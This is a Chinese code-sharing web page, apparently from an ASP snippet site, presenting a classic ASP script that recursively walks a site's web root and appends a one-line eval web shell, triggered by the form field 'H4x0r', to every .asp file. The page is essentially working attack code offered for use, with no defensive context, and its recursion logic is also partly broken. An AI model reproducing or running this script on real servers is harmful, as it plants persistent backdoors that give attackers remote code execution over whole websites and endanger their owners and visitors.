FSO遍历目录实现全站插马的代码
时间:2019-10-14 11:33 来源/作者:asp代码网
-
<%
-
dim ph
-
dim intfile
-
server.ScriptTimeout = 600
-
ph=server.mappath("/")
-
Sub InsertAllFiles(Path)
-
Set FSO = CreateObject("Scripting.FileSystemObject")
-
on error resume next
-
Set f = FSO.GetFolder(Path)
-
Set fc2 = f.files
-
For Each myfile in fc2
-
If lcase(FSO.GetExtensionName(path&""&myfile.name))="asp" then
-
Set FS1 = CreateObject("Scripting.FileSystemObject")
-
Set tfile=FS1.opentextfile(path&""&myfile.name,8,false)
-
tfile.writeline "<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('H4x0r')+'')</SCRIPT>"
-
else
-
InsertAllFiles(newpath)
-
end if
-
tfile.close
-
Next
-
Set fsubfolers = f.SubFolders
-
For Each f1 in fsubfolers
-
newpath=path&""&f1.name
-
InsertAllFiles(newpath)
-
-
Next
-
set tfile=nothing
-
Set FSO = Nothing
-
End Sub
-
%>
-
<%
-
call InsertAllFiles(ph)
-
%>
相关文章
热门资讯